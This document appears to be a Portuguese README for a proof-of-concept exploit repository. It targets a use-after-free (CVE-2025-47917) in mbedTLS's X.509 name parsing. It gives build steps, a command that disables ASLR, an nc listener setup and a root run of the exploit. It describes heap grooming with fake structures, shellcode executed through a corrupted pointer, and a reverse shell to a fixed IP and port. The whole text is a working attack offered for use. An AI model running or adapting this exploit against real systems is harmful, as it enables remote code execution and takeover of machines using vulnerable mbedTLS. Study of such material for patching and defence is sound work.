
Exploit de PoC para CVE-2025-47917: Use-After-Free no mbedTLS levando à execução remota de código.
Este repositório contém um exploit que ataca uma vulnerabilidade Use-After-Free na função de parsing de nomes mbedtls_x509_string_to_names() da biblioteca mbedTLS. Um exploit bem-sucedido concede execução arbitrária de código com privilégios de root ao sequestrar metadados de heap liberados e redirecionar o fluxo de controle para shellcode injetado.
Sistema Operacional: Linux (testado no Kali Linux)
Privilégios de root: Necessários para desabilitar ASLR e executar shellcode injetado
Bibliotecas de desenvolvimento mbedTLS (mbedTLS < 3.6.4):
sudo apt update
sudo apt install -y libmbedtls-dev
Ferramentas de compilação: gcc, make (opcional)
Ajuste os caminhos de include/library de acordo com sua instalação:
gcc /path/to/exploit.c \
-I/usr/local/include \
-L/usr/local/lib \
-lmbedtls -lmbedx509 -lmbedcrypto \
-Wl,-rpath,/usr/local/lib \
-o exploit_UAF
Desabilite ASLR (Randomização de Layout do Espaço de Endereço):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Prepare um listener para o reverse shell na máquina atacante (porta 4454):
nc -lvnp 4454
Execute o exploit com privilégios de root:
sudo ./exploit_UAF
checkAslr() lê /proc/sys/kernel/randomize_va_space para garantir que ASLR está desabilitado. Sai se estiver habilitado.mbedtls_x509_string_to_names(): Inicializa uma lista vazia de dados nomeados.paddingChunk() aloca muitas estruturas named-data falsas para preencher entradas da lista livre com conteúdo controlado apontando para shellcode.mbedtls_x509_string_to_names(): Dispara a condição Use-After-Free, reutilizando um chunk liberado contendo metadados falsos.mmap(), copiado e executado através do ponteiro named_data->val.p corrompido.192.168.92.1874454O shellcode executa uma sequência socket + connect + dup2, em seguida execve("/bin/sh").
MIT